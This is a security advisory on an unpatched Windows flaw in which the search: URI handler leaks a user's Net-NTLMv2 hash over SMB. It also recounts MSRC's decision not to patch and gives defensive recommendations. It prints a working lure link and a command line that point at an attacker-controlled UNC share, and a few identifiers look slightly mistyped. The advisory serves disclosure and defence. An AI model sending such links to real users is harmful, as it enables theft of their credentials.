An unpatched NTLM credential leakage vulnerability exists in the Windows search: URI handler. Discovered and reported by Huntress analyst Andrew Schwartz, the flaw allows an external attacker to coerce a victim’s machine into initiating an outbound SMB connection, leaking the user’s Net-NTLMv2 authentication hash.
The technical primitive mirrors CVE-2026-33829 (a patched vulnerability in the Windows Snipping Tool). Despite sharing the exact same security impact, prerequisites, and “Moderate” severity classification, the Microsoft Security Response Center (MSRC) declined to issue a CVE or a patch, stating that servicing for Moderate bugs is “exception-driven”.
Severity: Moderate
Vulnerability Overview
- Vulnerability Type: Improper Input Validation / NTLM Credential Leakage.
- Impacted Component: ExplorerFrame.dll via the SearchExecute (or CLSID_SearchMSExecute) COM class.
- Affected Platforms: Confirmed on Windows 11 Pro (including 25H2 Pro, Build 26200.8524).
- Attack Vector: Remote / Social Engineering (via link-click or command execution).
- MSRC clarified that they typically only service Important and Critical bugs. Because both flaws were Moderate, CVE-2026-33829 was an “exception to standard processes,” leaving the search: URI variant completely unpatched.
The Primitive & Execution Path
- The flaw lies in how Windows handles the search: URI scheme registered in the Windows Registry (HKCR\search\shell\open\command). This scheme, along with its sister scheme search-ms:, utilizes a DelegateExecute handler pointing to CLSID {90b9bce2-b6ab-4fd3-8451-55917ea101b}.
- When the search: handler accepts a crumb=location: parameter pointing to a remote Universal Naming Convention (UNC) path, it fails to validate the path before passing it to the underlying Explorer code.
- An attacker can invoke this by enticing a user to click a maliciously crafted link (e.g., in a web browser like Edge or an email):
- <a href=”search:query=test&crumb=location:\\10.0.1.100\share”>click</a>
- Alternatively, it can be executed via the command line:
- start “” “search:query=test&crumb=location:\10.0.1.100\share”
Exploit Mechanics
- The Click: The user clicks the link or executes the command. No security prompts are shown to the user.
- The Authentication Request: Windows automatically attempts to authenticate against the specified attacker-controlled IP address via SMB.
- The Leak: The victim’s Net-NTLMv2 hash is transmitted to the attacker’s listener (e.g., Responder).
- The Client Error: Only after the hash has already leaked does Windows render an error dialogue reading, “Windows cannot access the specified device, path, or file.”
Note on Behavior: This leak only triggers on the first invocation per user logon session. Subsequent attempts return an access denied error without leaking the hash until the user logs out & logs back in.
Recommendations
- Restrict outbound TCP/445 and TCP/139 at the network perimeter for all hosts that do not have an explicit business need. This effectively stops Net-NTLMv2 hashes from escaping the network.
- Enforce SMB Signing to ensure that even if hashes are captured within the network, they cannot be readily utilized in NTLM relay attacks against internal services.
- Restrict outbound NTLM traffic by configuring the RestrictSendingNTLMTraffic registry audit/block policy to 2 (Deny all). (Note: Audit this first to prevent breaking legacy systems).
- Implement detection rules in mail gateways and proxy logs, and EDR solutions to flag any traffic or process executions utilizing search: and search-ms: URIs, as these are rarely seen in legitimate external traffic.
Source:
- https://www.huntress.com/blog/unpatched-ntlm-leak-windows-search-uri-handler
Enjoyed reading this Threat Intelligence Advisory? Stay updated with our latest exclusive content by following us on Twitter and LinkedIn
No related posts found.
